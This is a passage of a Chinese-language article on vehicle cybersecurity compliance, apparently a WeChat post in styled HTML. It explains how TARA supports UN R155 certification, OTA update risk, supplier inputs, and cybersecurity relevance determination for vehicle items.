255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA并非一次性活动，而是贯穿CSMS全过程的要求：在概念阶段进行初步风险评估、在开发阶段细化并迭代、在生产和运营阶段持续监控新出现的威胁并复审、在车辆退役阶段评估残余风险，法规明确要求OEM在CSMS中建立持续监控和残余风险管理过程（详见GRVA的解释文档7.2.2.2 (f)(g)，这个文档对UN R155 CSMS审核的目的、依据和细节做了很详细的说明），确保风险评估结果保持最新，当出现新漏洞、新攻击技术或车辆配置变更等情况时，需重新评估残余风险的可接受性，并采取必要措施</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">VTA的关键证据</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在车辆型式认证阶段，认证机构会重点审查OEM提交的风险评估结果及其衍生材料（包括威胁列表、风险值、安全目标等等），TARA报告是CSMS审计和VTA的核心证据之一，如果风险评估不完整或缺乏可追溯性，将直接导致认证失败</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">与UN R156的关联</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">软件更新过程是高风险攻击面（Annex 5中有多条相关威胁场景），TARA需特别评估OTA更新风险（如更新包篡改、伪造服务器、传输劫持），其结果直接输入SUMS设计，确保更新过程的安全性和可追溯性</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">供应链延伸要求</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">UN R155明确规定车辆网络安全的最终责任由OEM承担，即使风险来源于供应商提供的零部件，认证机构追究责任的时候也是首先找的OEM，也就是说OEM在进行整车级TARA的时候必须要将供应商零部件的风险评估结果纳入其中，确保整车风险分析的完整性，为了实现这一要求，在进行整车TARA分析前期阶段，供应商要向OEM提供必要的TARA相关工作输入</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031737" alt="image" class="rich_pages wxw-img" data-ratio="0.5657407407407408" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=65408077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzGiafAkFFFAh8Zm9Tkk3Ky1UaC4fWnWCqFrXGgtVxyPMEgbolWTI91JA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总的来说，TARA在UN R155中不仅是技术方法，更是合规证据链的核心环节，其输出直接决定后续网络安全需求的完整性和有效性，实践经验表明，认证审核中最常见的驳回原因往往源于TARA的深度不足（比如损害场景没有跟功能安全关联、威胁场景覆盖不全、攻击可行性评估过于乐观、风险处理决策缺乏依据等等）</span></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">TARA方法论</span></strong></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在开展工作前，OEM必须准备好以下材料：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">EE架构图，需体现ECU之间的通信链路设计方案（通信方式、通信协议、外部接口），架构图需要通过网络安全评审</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">整车功能清单，内容包括：功能定义、功能详细描述、每一个功能关联到的ECU 、功能的数据流</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">零部件清单及详细信息，包括简称和全称，零部件的配置详情（外部接口、是否包含诊断、诊断服务信息、是否包含刷写、刷写方式信息、PCB主板正反面图等）、零部件供应商名称、负责人及联系方式、功能简述、详述、架构等等</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">…</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 1.25em;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">相关性判定</span></strong></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在开始TARA之前，必须先进行网络安全相关性判定，结果用来确定哪些Item（要进行TARA的目标对象）需要纳入网络安全过程，该步骤的核心输出是相关Item的定义，通常以表格或专用报告形式呈现</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031734" alt="image" class="rich_pages wxw-img" data-ratio="0.7592592592592593" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed090086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzdrWTZINr0XGOFOXl1wl0nNAicPSCXseySvFVvXPnZJHe0JWiczF6qe9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相关Item定义包含以下关键要素：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">Item ID</span></strong><p><span leaf="">唯一标识符，用于在后续TARA报告、安全需求、验证测试中关联</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">功能描述</span></strong><p><span leaf="">Item在车辆中实现的主要功能</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">边界</span></strong><p><span leaf="">明确Item包含哪些部分、排除哪些部分，以及内部/外部接口定义，这是防止范围歧义的关键，通常通过画图的方式画出Item负责的部分即可</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">初步架构</span></strong><p><span leaf="">高层次E/E架构描述，包括主要组件、通信路径和依赖关系，通常引用架构图或简要文字说明，例如“T-Box通过蜂窝网络与后端服务器通信，内部通过Ethernet连接中央网关，网关再经CAN总线分发至各域ECU”</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">假设</span></strong><p><span leaf="">对Item外部环境的合理假设，基于实际情况和合理预期来假设“在这些条件下，Item的风险是可控的”，例如：</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 物理访问车辆受控，仅授权人员可接触OBD端口</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 后端OTA服务器的安全性由供应商保证</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 假设中央网关已实现防火墙过滤，阻止非法域之间的消息</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">相关性判定结果及理由</span></strong><p><span leaf="">明确“是/否”相关，例如：</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 相关：存在外部无线接口、接入整车CAN、处理敏感数据</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">o 不相关：纯机械零部件、无任何外部接口，不处理任何数据</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只有判定为网络安全相关的Item才进入后续资产识别和TARA过程，不相关的Item只需记录判定理由，避免对无网络攻击面的Item（比如纯机械部件）进行不必要的分析，同时也能作为CSMS证据保存，关于判定步骤可以参考ISO/SAE 21434里的附录D Cybersecurity relevance–example methods and criteria:</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031736" alt="image" class="rich_pages wxw-img" data-ratio="0.8768518518518519" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3953af8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz5TcMTUSkmLdn6W0hSCZ2uAR7VYSib2mFefee1hK3LO7eeVbs4kPFqJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">零部件级如何应用</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">与整车级类似，零部件级TARA也以网络安全相关性判定为前提，只有判定为相关的Item才需执行完整的TARA，例如判定模块或功能、数据流、数据等</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 